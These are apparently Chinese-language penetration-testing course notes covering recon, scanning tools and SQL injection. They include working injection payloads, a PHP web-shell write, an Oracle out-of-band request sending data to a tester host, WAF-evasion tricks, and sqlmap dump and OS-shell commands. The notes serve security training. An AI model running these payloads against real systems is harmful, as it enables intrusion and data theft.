:::info 112年資安職能課程教育體系場次上課筆記整理,僅供參考! 教材版本:112年6月2版 [教材內各項連結整理及堪誤](https://hackmd.io/@nfu-johnny/BkwieX6DC) ::: [toc] ## 滲透測試 * 定義:==透過模擬攻擊者的角度嘗試入侵受測標的==如網站、資通系統、硬體設備或應用程式等目標,獲取受測標的之權限並找出各種潛在的漏洞,==以此測試來評估受測標的之安全性並提供修補建議==。 * 必要條件:==執行前須簽訂授權同意書==,取得合法測試授權,以免觸法。 * 目的: * 找到所有的弱點 * 評估與驗證受測標的之安全性 * 標準與方法論 > [Comparative analysis of OSSTMM v3 and OWASP 4.0](https://boris-figeczky.medium.com/comparative-analysis-of-osstmm-v3-and-owasp-4-0-e3ae1bf95e9e) > * OWASP * [TOP 10 2021](https://owasp.org/Top10/) * [WSTG](https://owasp.org/www-project-web-security-testing-guide/stable/) (OWASP Web Security Testing Guide) * OSSTMM (Open Source Security Testing Methodology Manual) * [CWE](https://cwe.mitre.org/) (Common Weakness Enumeration) * (補充) [NIST SP 800-115](https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf) > ![image](https://hackmd.io/_uploads/S1LQMC4Ogl.png) > ![image](https://hackmd.io/_uploads/BkC8GCN_le.png) * 流程 > (補充)[Cyber Kill Chain](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html) > ![THE-CYBER-KILL-CHAIN-body.png.pc-adaptive.1280.medium](https://hackmd.io/_uploads/HJcKQR4_ex.png) * 與執行廠商確認專案 * NDA 保密條款 * 執行 * 資訊蒐集 * 主機掃描 * 弱點利用 * 提升權限 * 維持存取權限 * 整理漏同與撰寫報告 * 專案總結 * 提交測試結果報告 * 提供修補建議與技術諮詢 * 複測 * 滲透思路: * black box > gray box > white box * 學習的過程中,把弱點需要的條件、有可能的攻擊路徑及有哪些招式流程化 * ==盡可能的做enumeration==,把收集到的資訊整理,常常會有意外的發現 * 能力需求 * 程式開發 * 網路 * 與弱點掃描的差異 * 弱點掃描:自動化掃描工具 (==權限控管邏輯不是自動化工具可以檢測得出來的==) * 滲透測試:人工檢測 * 與紅隊演練(Red Team Assessment)的差異 (資安職能考題) * 紅隊演練:==全面性==找出組織防禦面不足的途徑,除了要找出弱點,常須具備==有效利用弱點==。(技術要求比滲透測試高很多) * 滲透測試:只需要==證明有弱點即可==。 ## 資訊蒐集 :::success 被動式蒐集或掃描:不直接接觸目標 ![image](https://hackmd.io/_uploads/rk91cvEdlx.png) * [Top OSINT Tools in 2024](https://youtu.be/6OBTZyKybhs?si=Z4LgddR2Ukhgy0Zu) * [Shodan](https://www.shodan.io/) * [URL Scan](https://urlscan.io/) * [Spiderfoot](https://minmin0625.medium.com/%E6%BB%B2%E9%80%8F%E6%B8%AC%E8%A9%A6lab-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8osint-spiderfoot-%E5%9F%B7%E8%A1%8C%E6%83%85%E8%92%90-425de6e9198c) * [Maltego](https://www.stationx.net/how-to-use-maltego/) - CEH課程 * [Recon-ng](https://hackertarget.com/recon-ng-tutorial/) - CEH課程 * [Top 10 FREE OSINT tools for 2024](https://youtu.be/PRqOj5qM1ic?si=7HCCJSEyvd_rRmCD) * [DNS Dumpster](https://dnsdumpster.com) * [Instant Data Scraper](https://chromewebstore.google.com/detail/instant-data-scraper/ofaokhiedipichpaobibbnahnkdoiiah) * [2022 OSINT課程(鑑識學會)](https://hackmd.io/@q0T/SkhfB4jit) * [OSINT Framework](https://osintframework.com/) ::: * Google Hacking > site > filetype > cache > allinurl / inurl > allintitle / intitle > allinanchor / inanchor > link > related > info > location * [Google Hacking 新手入門](https://feifei.tw/google-hacking/) * [GHDB](https://www.exploit-db.com/google-hacking-database) * https://pentest-tools.com/information-gathering/google-hacking * 利用`-`運算符,==過濾掉不想要的資料==,例如:`-site:gov.tw` * 使用時機:用來尋找特定與有弱點的進入點、找機敏資訊 * [theHarvester](https://www.kali.org/tools/theharvester/) * [Shodan](https://www.shodan.io/):搜尋聯網裝置 * [Top 40 Shodan Dorks for Finding Sensitive IoT Data](https://securitytrails.com/blog/top-shodan-dorks) * (補充)[Compilation of SHODAN Filters](https://github.com/JavierOlmedo/shodan-filters) * 範例:`http.title:"BIG-IP&reg;-Redirect" country:"TW"` * [Censys](https://search.censys.io/):搜尋聯網裝置 * [Awesome Censys Queries](https://github.com/thehappydinoa/awesome-censys-queries) * [Awesome OSINT](https://github.com/jivoi/awesome-osint) * [Domain Tools](https://whois.domaintools.com/) - [CEH Lab] * [Recon with Me](https://dhiyaneshgeek.github.io/bug/bounty/2020/02/06/recon-with-me/) * [Greynoise.io](https://www.greynoise.io/):弱點與機器查詢工具 * [hunter.io](https://hunter.io/) * [publicwww](https://publicwww.com/) * [searchcode](https://searchcode.com/) * (補充)[Check-Host](https://check-host.net/) * (補充)[Subdomain Finder](https://subdomainfinder.c99.nl/) * (補充)[網路威脅情報平台](https://pulsedive.com/dashboard/) * (補充)[Online Traceroute](https://tools.ipip.net/traceroute.php) * (補充)[photon](https://www.kali.org/tools/photon/) * 網站程式初步檢測工具 * [Cookie Editor](https://cookie-editor.com/):瀏覽器外掛,可查詢或編輯cookie資訊。 * [DotGit](https://github.com/davtur19/DotGit):瀏覽器外掛,可初步偵測網站是否有.git目錄外洩漏洞。 * [dumpall](https://github.com/0xHJK/dumpall) * [GitHacker](https://github.com/WangYihang/GitHacker) * 基本指令運用 * `nslookup` * `set type=cname` * `set type=a` * `tracert` / `traceroute` * (補充) SNMP * `snmpwalk -v1 -c public <ip>` * `snmpwalk -v2c -c public <ip>` ## 網路、主機及網站掃描 :::success 主動式蒐集或掃描:直接接觸目標 ![image](https://hackmd.io/_uploads/rJYVYDVugx.png) ::: ### Server Discovery 工具 * [nmap](https://nmap.org/) > [Nmap - 網路檢測的魔法 (上卷)](https://ithelp.ithome.com.tw/articles/10351996) > [Nmap - 網路檢測的魔法 (中卷)](https://ithelp.ithome.com.tw/articles/10352886) > [Nmap - 網路檢測的魔法 (下卷)](https://ithelp.ithome.com.tw/articles/10353590) > [Nmap 與繞過防火牆規則和 IDS/IPS](https://ithelp.ithome.com.tw/articles/10354095) * [9 個常見的 Nmap 通訊埠掃描情境](https://hack543.com/nmap-tutorial/) * [Nmap Cheat Sheet(PDF)](https://stationx-public-download.s3.us-west-2.amazonaws.com/nmap_cheet_sheet_v7.pdf) * 重點參數 ![](https://hackmd.io/_uploads/BJIQ40BT3.png) | 基本功能 | 指令簡介 | | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | | [主機發現(Host Discovery)](https://minmin0625.medium.com/%E6%BB%B2%E9%80%8F%E6%B8%AC%E8%A9%A6lab-nmap-part2-%E4%B8%BB%E6%A9%9F%E6%8E%83%E6%8F%8F-host-discovery-21fdfeb6e504) | ==Ping Scan:-sn==<br>==ARP掃描 (ARP ping scan):-Pn==<br>TCP SYN Ping Scan:-PS<br>TCP ACK Ping Scan:-PA<br>IP Protocol Ping Scan:-PO | | [端口掃描(Port Scanning)](https://minmin0625.medium.com/%E6%BB%B2%E9%80%8F%E6%B8%AC%E8%A9%A6lab-nmap-part3-%E7%AB%AF%E5%8F%A3%E6%8E%83%E6%8F%8F-port-scanning-2f51645f3323) | TCP connection Scan:-sT<br>==SYN Scan:-sS==<br>==UDP Scans:-sU== | | [版本偵測(Version Detection)](https://minmin0625.medium.com/%E6%BB%B2%E9%80%8F%E6%B8%AC%E8%A9%A6lab-nmap-part4-%E6%9C%8D%E5%8B%99%E7%89%88%E6%9C%AC%E5%81%B5%E6%B8%AC-%E4%BD%9C%E6%A5%AD%E7%B3%BB%E7%B5%B1%E5%81%B5%E6%B8%AC-service-and-version-detection-os-detection-b1954cf0eb8e) | 服務版本偵測:-sV<br>作業系統偵測:-O<br>服務版本及作業系統偵測:-A<br> | * 指定埠號(port) * `-p <port ranges>`:針對特定port掃描,`-p 21,22`是指定21,22兩個port掃描 * `-p-`:全埠掃描 * 不指定時,預設只掃常見的1000個port * `--top-ports 100`:針對常見的前100個port * DNS反解 * `-n` 不做[DNS反解](https://nmap.org/book/host-discovery-dns.html)(不把ip反解成domain name) * `-R` 強制做DNS反解 * 遇到網路環境部署有IDS或整合式防火牆(UTM)時,要彈性調整掃描速度: * `-T[0~5]`:若不指定,預設`-T3`。數字越小,速度越慢,等待時間越長。 * [Timeing Templates(-T)](https://nmap.org/book/performance-timing-templates.html) * Host Discovery * `-sn`:Ping Scan (No port scan) * `-Pn`:Treat all hosts as online (No ping) 假設目標主機始終在線,直接進行端口掃描 * Port Scanning * `-sS`:TCP SYN Scan * `-sU`:UDP Scan * `-A`:組合技 * 協定服務版本偵測 (`-sV`) * OS版本偵測 (`-O`) * Traceroute (`--traceroute`) * Default NSE scripts (`-sC`) * [NSE Scripts](https://nmap.org/nsedoc/scripts/) * `--script auth`:弱密碼檢測 * `--script vuln`:是否存在常見的漏洞 * `-sC`、`--script default`:預設指令稿 * 輸入(-iL)、輸出(-oN) * `--open`:Only show open (or possibly open) ports * 一行式指令說明 ```bash! nmap -sC -sV -Pn -p $(nmap -Pn -p- --min-rate 1000 -T4 150.70.49.19|grep ^[0-9]|cut -d '/' -f 1|tr '\n' ','|sed s/,$//) 150.70.49.19 -oA 150.70.49.19 ``` * `$()`:先針對括號裡的指令執行,進行全埠掃描看哪些埠有開放服務,取得掃描結果後整理成埠號字串(如:`21,22,80,443`)。 * 再進行進一步的服務協定掃描作業。 * 結果整理:[nmaptocsv](https://github.com/maaaaz/nmaptocsv) * [masscan](https://github.com/robertdavidgraham/masscan) * Mass IP port scanner * 號稱最快的網路埠掃描器 * 可與 nmap 互相搭配使用 ```bash # 全埠掃描,針對單一IP sudo masscan 8.8.8.8 -p1-65535 --rate 20000 -oX result.xml # 全埠掃描,透過IP清單 sudo masscan -iL ip.txt -p1-65535 --rate 20000 -oX result.xml # 針對特定埠掃描 sudo masscan -iL ip.txt -p80 --rate 1000 -oX result.xml ``` * 從XML結果取出ip清單 ```bash cat result.xml | awk -F 'addr=\"' '{print $2}' | awk -F '\" addrtype' '{print $1}' | awk NF | tee result.txt ``` * (補充)[RustScan](https://github.com/RustScan/RustScan) ```bash # Kali安裝指令 # 參考 https://github.com/RustScan/RustScan/wiki/Installation-Guide#%EF%B8%8F-debian--kali wget https://github.com/RustScan/RustScan/releases/download/2.4.1/rustscan_2.4.1_amd64.deb sudo dpkg -i rustscan_2.4.1_amd64.deb ``` * 可與 nmap 互相搭配使用 ```bash # 單一IP掃port rustscan -a 192.168.0.100 --scripts none rustscan -a 192.168.0.100 -g --scripts none # ip清單先放在ip.txt rustscan -a $(sed --z 's/\n/,/g' ip.txt) --scripts none ``` ![image](https://hackmd.io/_uploads/r1Ph63_LR.png) * [掃 port 最速工具軟體 – RustScan](https://hack543.com/rustscan-intro/) * [Recon - Open Ports | Comparison - Masscan v.s. RustScan](https://youtu.be/GFXEUsNCwQY?si=WOS6kcI5_4593G57) * (補充)[naabu](https://github.com/projectdiscovery/naabu) :::info 其他工具補充 * [Angry IP Scanner](https://angryip.org/) * [Advanced IP Scanner](https://www.advanced-ip-scanner.com/tw/) ::: ### Content Discovery 工具 * [ffuf](https://github.com/ffuf/ffuf) * [Ffuf爆破神器](https://blog.csdn.net/weixin_44288604/article/details/128444485) * [FFUF Cheat Sheet](https://cheatsheet.haax.fr/web-pentest/tools/ffuf/) * 使用時機:如待測目標範圍很大,可搭配ffuf等工具去針對弱點去快速挑選有問題的主機。 * 利用==http status code==判斷目標狀態 * 參數 * ==-w:設定字典檔== * -c:替文字上色 * -u:設定目標網址 * -recursion-depth 2:往資料夾下層遞迴尋找的深度 * -ic:忽略字典檔的註解 * -fc 403:不呈現http response code為403的結果 (f開頭是filter過濾的意思) * -mc 200:只呈現http response code為200的結果 (f開頭是matcher比對的意思) * 利用`FUZZ`取代字典檔找到的字串去做嘗試或測試 * 常用字典檔的目錄 `/usr/share/seclists/Discovery/` :::info 「[seclists字典檔](https://www.kali.org/tools/seclists/)」需先安裝: `sudo apt install seclists` ::: ```bash ffuf -u http://FUZZ/icons/ -w /usr/share/wordlists/dirb/common.txt -c #測試網站程式檔名 ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://testphp.vulnweb.com/FUZZ -e .txt #測試網站程式種類語法 ffuf -c -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt -u http://testphp.vulnweb.com/indexFUZZ ``` * [gobuster](https://github.com/OJ/gobuster) * 使用時機:用來查找隱藏在網站下的目錄、管理頁面、機敏資料或有漏洞的進入點 * 提供的mode * ==dir== - the classic directory brute-forcing mode (資安職能考題) * ==dns== - DNS subdomain brute-forcing mode * s3 - Enumerate open S3 buckets and look for existence and bucket listings * gcs - Enumerate open google cloud buckets * ==vhost== - virtual host brute-forcing mode (not the same as DNS!) * fuzz - some basic fuzzing, replaces the FUZZ keyword * tftp - bruteforce tftp files * 參數 * ==-w:指定字典檔== (資安職能考題) * -x:指定副檔名 * -u:設定目標網址 * -k:略過憑證確認 * -r:轉址跟隨 * 列出查詢到的目錄與http status code供測試人員判斷 ```bash # 目錄查找 gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -k -x "txt,html,php,asp,aspx,jpg,jsp,zip" -u http://127.0.0.1:61389 # 找Virtual Host gobuster vhost -u http://domain.com/ -w /usr/share/wordlist/dirb/common.txt ``` ![image](https://hackmd.io/_uploads/HywsCFfPp.png) * [wfuzz](https://wfuzz.readthedocs.io/en/latest/) * 使用時機:待測目標是一整個網段,且需要在短時間內快速查找時使用。 * 網站目錄掃描工具、subdomain掃描工具 * 與ffuf類似屬於content discovery工具 * (補充) 資安院攻防課程補充資料 * [Finding Subdirectories](https://hackmd.io/zmYMgovpQKCLV9cxpHZQLQ#Finding-Subdirectories) * [Fuzzing Authentication](https://hackmd.io/zmYMgovpQKCLV9cxpHZQLQ#Fuzzing-Authentication) * [Discovering Virtual Hosts](https://hackmd.io/zmYMgovpQKCLV9cxpHZQLQ#Discovering-Virtual-Hosts) * 利用http status code來判斷目標狀態 ```bash wfuzz --hc 614 -c -w subdomains-top1mil-5000.txt -H "HOST:FUZZ.domain.com" http://IP wfuzz -c -w common.txt --sc 200 -u "http://10.10.10.191/FUZZ.txt" -t 100 wfuzz -z file,big.txt -d "breed=FUZZ" -u http://shibes.xyz/api.php ``` * [cewl](https://www.kali.org/tools/cewl/) * 網站Email擷取工具 * 字典檔產生工具 (從網站自動爬出關鍵字) * [補充] [dirb](https://www.kali.org/tools/dirb/) ```bash dirb http://192.168.0.1/ dirb http://192.168.0.1/ -X .aspx ``` ![image](https://hackmd.io/_uploads/Sym6CFGPp.png) * [補充] [dirsearch](https://github.com/maurosoria/dirsearch) ```bash dirsearch -u "http://192.168.0.1/" -e aspx dirsearch -u "http://192.168.0.1/" -e asp,aspx,txt ``` ![image](https://hackmd.io/_uploads/HkmJtBXI6.png) * [補充] [feroxbuster](https://github.com/epi052/feroxbuster) > [紅隊演練基礎總結-靶機Walkthrough](https://hackmd.io/@aifred0729/NTUST_JD-RedTeam_Walkthrough) ![image](https://hackmd.io/_uploads/By2mKHQI6.png) * [書籍補充] [你的網站非常危險 - Web安全攻防滲透駭客現場直播](https://www.tenlong.com.tw/products/9786267383261) * [GoSpider](https://github.com/jaeles-project/gospider) * [cansina](https://github.com/deibit/cansina) ### [補充] 網站環境特徵檢查 Fingerprint :::info Fingerprint (有人翻譯為「指紋識別工具」,課本未著墨的地方) ::: * [Wappalyzer](https://www.wappalyzer.com/):瀏覽器外掛,可初步查看網站使用了哪些第三方元件及網站環境版本資訊。 * [whatweb 指令工具](https://morningstarsecurity.com/research/whatweb):KaliLinux內建 * `whatweb -v -a 3 <domain_name>` * `whatweb --no-errors 192.168.0.0/24` ![image](https://hackmd.io/_uploads/Sk2hnofSC.png) * `whatweb --no-errors --url-prefix https:// 192.168.0.0/24` * [wpscan 指令工具](https://github.com/wpscanteam/wpscan):針對 WordPress CMS 套件 * [WPScan](https://hackviser.com/tactics/tools/wpcan) * [cmseek 指令工具](https://github.com/Tuhinshubhra/CMSeeK) * [joomscan 指令工具](https://github.com/OWASP/joomscan):針對 Joomla CMS 套件 * [JoomScan](https://hackviser.com/tactics/tools/joomscan) * [droopescan 指令工具](https://github.com/SamJoan/droopescan):針對 SilverStripe/Wordpress/Drupal 等 CMS 套件 * [wafw00f 指令工具](https://github.com/EnableSecurity/wafw00f):確認網站是否有WAF保護 ![image](https://hackmd.io/_uploads/HkeyxnzS0.png) ![image](https://hackmd.io/_uploads/ryGWlhfr0.png) ![image](https://hackmd.io/_uploads/SJKSl3fSR.png) ## 弱點利用 > [網站漏洞](https://hackmd.io/@YuTingKung/HybuFMGGF) ### SQL Injection ![image](https://hackmd.io/_uploads/S1pj9v4ugg.png) > [牛的大腦:SQL injection類型](https://systw.net/note/archives/259) > [DVWA - SQL Injection示範影片](https://youtu.be/oMV0JZVxvdQ?si=83Nq_8g_g0xXiVpn) > [SQL Injection | Complete Guide](https://youtu.be/1nJgupaUPEQ?si=tcOGJXmURWTDMTQ6) > [資安滲透攻防筆記 - SQL Injection](https://gordonfang-85054.medium.com/%E8%B3%87%E5%AE%89%E6%BB%B2%E9%80%8F%E6%94%BB%E9%98%B2%E7%AD%86%E8%A8%98-1-c9a6b8ada5fa) > 補充:CEH課文整理表格 > ![image](https://hackmd.io/_uploads/BJbsdurD0.png) * 原因:使用者在網頁中的參數未經過處理就傳送至資料庫,並且使用者輸入的參數可以被操控,並突破開發人員所做的原始查詢,進行達到更多的惡意行為。 * 效果:資訊洩漏、伺服器遭受入侵直接被取得控制權。 * 經典案例:身分鑑別繞過(Authentication bypass) * 種類 ![image](https://hackmd.io/_uploads/S1-eBaBMyl.png) * [Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection) (盲注入、推論式注入) > 核心概念:無法直接看到回傳結果,只能透過間接的反應來推斷資訊。 * Boolean-based Blind SQL Injection * simply testing the URLs of a target website * `items.php?id=101` * `items.php?id=101 and 1=0` * `items.php?id=101 and 1=1` * Time-based Blind SQL Injection:根據資料庫不同,使用的延遲語法也會不同。 | DataBase | Command | | -------- | ------------------ | | MySQL | `SELECT sleep(10)` | | PostgreSQL | `SELECT pg_sleep(10)` | | MSSQL | `WAITFOR DELAY '0:0:10'` | | Oracle | `dbms_pipe.receive_message(('a'),10)` | * In-band SQL Injection > 核心概念:攻擊與回饋在同一個通訊管道。 * Error-based SQL Injection * 透過資料庫回傳的錯誤訊息,來判斷是否存在注入的弱點。 * 常見的測方法是在注入點增加單引號(')或雙引號(")。 * [Error Based Injection using Extractvalue](https://securityidiots.com/Web-Pentest/SQL-Injection/XPATH-Error-Based-Injection-Extractvalue.html) > [MySQL XML Functions](https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html?spm=a2c6h.12873639.0.0.2eb578ce0U09QI) ``` # ExtractValue(xml_flag, xpath_expr) # 是使用XPATH語法在XML文件結構中搜尋提取字串的函式 # 0x開頭是16進制 # 0x0a是換行(new line),但他不是XPATH語法,故會報錯 # 初步範例 index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))-- # 可以找資料庫名稱 index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select database())))-- Output : XPATH syntax error: ' database_name_here' # information_schema.tables 可以查MySQL所有的table資訊 # 可以找資料表名稱 index.php?view=-35" and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- Output : XPATH syntax error: 'table_name_here' ``` * [Union-based SQL Injection](https://portswigger.net/web-security/sql-injection/union-attacks): 限定在查詢語句。 * use ORDER BY to find the columns and finally uses the UNION ALL SELECT command * 測試方式:確認原有的SQL語句有幾個欄位被查詢到 ``` # 方式一 ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- # 方式二 ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- ``` * 進一步了解欄位在網頁上呈現的位置 (有些時候要看欄位的資料型別,來決定搭配的型別是字串還是數字) ``` ' UNION SELCT 1,2,3-- ' UNION SELCT 'A','B','C'-- ``` * Stacked Queries SQL Injection: * 利用分號(;)串接SQL語句,可以是任何語句(CRUD)。 * 權限足夠下,甚至可以刪除資料庫、資料表 (有些資料庫不允許)。 | DataBase | Limitation | | -------- | ------------------------------------ | | MySQL | PHP - Not Support<br>Other - Support | | MSSQL | Support | | Oracle | Not Support | * [Out-of-band SQL Injection](https://www.invicti.com/learn/out-of-band-sql-injection-oob-sqli/) * 寫入(上傳)檔案到伺服器 * `'<?php system($_GET["command"]); ?>' INTO OUTFILE '/var/www/certifiedhacker.com/shell.php'/*` > CEH課文內容 > ![image](https://hackmd.io/_uploads/BkmFNbgr1x.png) * 讀取檔案 * 可搭配MySQL的內建函式 [LOAD_FILE](https://dev.mysql.com/doc/refman/8.4/en/string-functions.html#function_load-file) 讀取SERVER上有用的檔案內容。 > CEH課文內容 > ![image](https://hackmd.io/_uploads/S1RTxT1Skg.png) * 執行命令: * MSSQL可透過 `xp_cmdshell` 命令執行系統指令(可開後門)。 > CEH課文內容 > ![image](https://hackmd.io/_uploads/HJmZBGgB1g.png) * Metasploit檢測xp_cmdshell漏洞的方法 [自我補充] 1. `auxiliary/scanner/mssql/mssql_login` - 用於尋找有效的SQL Server憑證 2. `auxiliary/admin/mssql/mssql_exec` - 使用xp_cmdshell執行命令 3. `auxiliary/admin/mssql/mssql_enum` - 枚舉SQL Server信息,包括檢查xp_cmdshell是否啟用 * MSSQL可透過外部腳本執行系統指令。 > CEH課文內容 > ![image](https://hackmd.io/_uploads/H1YVrWxB1l.png) * [補充] Oracle * 注入點 ```! product.php?id=10||UTL_HTTP.request('testerserver.c om:80')||(SELECT user FROM DUAL)-- ``` * 攻擊手可透過netcat tool去監聽資訊 ```bash nc –nLp 80 ``` * 補充 ![image](https://hackmd.io/_uploads/r1NMjIbExl.png) * [補充] Evasion Technique 規避偵測技巧 (標題項目資料來自CEH教材) * In-line Comment:利用行內註解,例如 `?id=1+un/**/ion+se/**/lect+1,2,3--` * Char Encoding ![image](https://hackmd.io/_uploads/SJtZ9mxBkg.png) * String Concatenation:用字串串接的方式組成SQL指令 ![image](https://hackmd.io/_uploads/HydGCNlelx.png) * Obfuscated Code:混淆成難以理解的SQL語句 * Manipulating White Spaces:利用空白鍵的變化,例如SQL語句字詞之間的空白可以多幾個 * Hex Encoding:用16進制編碼來表示SQL查詢文字 * Sophisticated Matches:使用替代的(同義的)語句,例如:將`OR 1 = 1`改成`OR 'john' = 'john' ` * ==URL Encoding== * [維基百科 - 百分號編碼](https://zh.wikipedia.org/zh-tw/%E7%99%BE%E5%88%86%E5%8F%B7%E7%BC%96%E7%A0%81) * [URL Encode and Decode - Online](https://www.urlencoder.org/) * [W3C School - HTML URL Encoding Reference](https://www.w3schools.com/tags/ref_urlencode.asp) * 範例 ![image](https://hackmd.io/_uploads/S1jkkreele.png) * ==Null Byte==:Null byte (%00) character prior to a string to bypass the detection mechanism * [讓Web開發者森77的Hacking Trick系列 第 18 篇 - Null byte Injection](https://ithelp.ithome.com.tw/articles/10276911) * Case Variation:利用大小寫字母混雜方式 ![image](https://hackmd.io/_uploads/Hk38AEgleg.png) * Declare Variables:利用自定義變數及變數傳遞的方式,定義特別的SQL語句 ![image](https://hackmd.io/_uploads/BkkF04egxx.png) * IP Fragmentation:攻擊者故意分割 IP 封包,將其分散到多個小片段中。 * Variations: 攻擊者的主要目的是讓 WHERE 語句始終被評估為“真”,以便可以使用任何數學或字串比較,而 SQL 可以執行相同的操作 ![image](https://hackmd.io/_uploads/rJqs04gele.png) * CheatSheet * [PortSwigger - SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) * [Invicti - SQL injection cheat sheet](https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/) * [MySQL SQL Injection Practical Cheat Sheet](https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/) * [sql-injection-payload-list](https://github.com/payloadbox/sql-injection-payload-list) * 工具使用 [SQLmap Usage](https://github.com/sqlmapproject/sqlmap/wiki/Usage) > * [SQLmap 基本使用](https://hackmd.io/@bttea/sqlmap_common_parameters) > * [飛飛 - SQLmap介紹](https://feifei.tw/security-tool-sqlmap/) > * [sqlmap常用技巧整理](https://nanshihui.github.io/2016/02/25/sqlmaptips/) > * [sql cheat sheet](https://cdn.comparitech.com/wp-content/uploads/2021/07/sqlmap-Cheat-Sheet.pdf) > * [[hacktricks] SQLMap - CheatSheet](https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap) > * [HackerCat - 自動化SQL Injection檢測工具](https://youtu.be/1TF5O3PiJAA?si=5M1RFpcnEB7hN9F6) > * [[簡體]手把手帶你學sqlmap](https://zhuanlan.zhihu.com/p/95919940) > * [[簡體]Burpsuite插件系列之sqlmap](https://blog.csdn.net/weixin_42773448/article/details/124572697) > * [[Youtube]SQLiPY Splmap Integration](https://youtu.be/ImZUIf0jkUE?si=XMNbfaDpF6XTtnxn) > * [[Youtube]How to Run SQLMap In Burp](https://youtu.be/iq9DVJsEFMU?si=t3GNwvBhnbOLY3Wm) > * [SQLmap MSSQL to RCE 原理](https://hackmd.io/@bttea/MSSQL_To_RCE_FROM_SQLmap) * 語法 ```bash! # 初步偵測 sqlmap -u "<url>" --batch # 列出資料庫名稱 sqlmap -u "<url>" --batch dbs # 列出個別資料庫裡的資料表 sqlmap -u "<url>" --batch -D <db_name> --tables # 列出資料表裡的欄位名稱 sqlmap -u "<url>" --batch -D <db_name> -T <table_name> --columns # 取得資料表裡的某幾個欄位的資料內容 sqlmap -u "<url>" --batch -D <db_name> -T <table_name> -C <column_name> --dump # 取得個別資料庫裡的內容 sqlmap -u "<url>" --batch -D <db_name> --dump-all # # GET變數的部初,用 sqlmap -u <url> # POST變數的部分,用 sqlmap -r <request_content> # # 先利用 LocalProxy(如OWZAP、Burpsuite、WebScarab)攔截對有漏洞網頁的Request # 然後將 Request Header 的資料存成文字檔。這個文字檔就是要 Request 的 form 內容。 sqlmap -r REQUESTFILE # 範例 # -p 'unit' 設定可測試的參數 sqlmap -u 'https://xxxxx/qqqq.asp?ounit=&nflg=1&gck=1&years=115&unit=E110&dgr=14&button=%E6%9F%A5%E8%A9%A2' --batch --random-agent --skip-waf -p 'unit' -D 'ntuael' -T 's308_cp_student' --dump --no-cast ``` * `--technique=TECH..`:所使用的SQL injection技術 (若沒設定,預設全部嘗試 `"BEUSTQ"`) * B:Boolean-Based Blind SQLi * E:Error-Based SQLi * U:Union-Based SQLi * S:Stacked Queries SQLi * T:Time-Based Blind SQLi * Q:Inline Queries SQLi * `--random-agent`:隨機變換 User-Agent,偏向於規避偵測 * `--skip-waf`:不檢查目標應用是否有 WAF 或其他類型的入侵防禦系統(IPS)(不想浪費時間進行 WAF 檢測,這個參數可以加快掃描過程) * `--no-cast`:不自動嘗試進行類型轉換,而是保持原始數據格式 (在某些情況下,自動類型轉換可能會導致查詢結果不符合預期) * `--skip-heuristics`:不要進行這些啟發式檢測,直接進入更深入的測試階段 * `--force-ssl`:強制使用 HTTPS 來發送請求,即使原始的 URL 是通過不安全的 HTTP 協議 * `--common-tables`:利用內建字典檔猜 * `--count`:先取得筆數 * `--dump`:筆數沒有很多,再dump * `--level`:控制測試的深入程度,從 1 到 5,數字越高測試越全面。 * 3或3以上,會嘗試對Refer注入。 * `--risk`:控制測試的風險等級,從 1 到 3,數字越高測試越具有破壞性。 * `--current-user` * `--current-db` * `--is-dba`:當前使用者是否有管理許可權 * `--referer`:HTTP Referer標頭偽造 * `--os-cmd`或`--os-shell` * `--file-read` * `--tamper`:對資料做修改來繞過WAF * `--identify-waf`:網站是否有安全防護進行試探 * [HacksPlaining](https://www.hacksplaining.com/lessons) * 案例(補充) * [曙光女子高中WebOPAC SQLi](https://zeroday.hitcon.org/vulnerability/ZD-2025-00005) * [彰化女中圖書館 資料庫注入漏洞](https://zeroday.hitcon.org/vulnerability/ZD-2024-00984) * 注入點 - input / url ``` http://testphp.vulnweb.com/artists.php?artist=1 order by 3 -- order by 4 出錯,代表可以 union 3個欄位 http://testphp.vulnweb.com/artists.php?artist=1 order by 4 -- 1 在畫面上無法顯示 http://testphp.vulnweb.com/artists.php?artist=1 and 0=1 union select 1,2,3-- http://testphp.vulnweb.com/artists.php?artist=1 and 0=1 union select null,concat(current_user(),'-',database()),version()-- ``` ![image](https://hackmd.io/_uploads/rkeeJqfvp.png) ``` http://127.0.0.1:8041/?id=2 and extractvalue(0x0a, concat(0x0a,(select database())))-- http://127.0.0.1:8041/?id=2 and extractvalue(0x0a, concat(0x0a,(select column_name from information_schema.columns where table_name='proof' LIMIT 1,1)))-- http://127.0.0.1:8041/?id=2 and extractvalue(0x0a, concat(0x0a,(select content from proof LIMIT 2,1)))-- http://127.0.0.1:8042/?id=1 and 0=1 union select id, content from proof limit 2,1 ``` ![image](https://hackmd.io/_uploads/B1lW1qzvT.png) ![image](https://hackmd.io/_uploads/SyezkqMvT.png) ### XXE Injection * 在OWASP TOP 10 2021中分類項目,屬於 Security Misconfiguration。 * (補充)OWASP指出多數Java的XML解析器預設啟用XXE。XXE很容易防禦,只需要在XML解析器裡禁用外部單位體即可。 :::info [XML external entity (XXE) injection 簡介](https://portswigger.net/web-security/xxe) [XXE Injection Payload](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection) [EXPLOITING XXE IN FILE UPLOAD 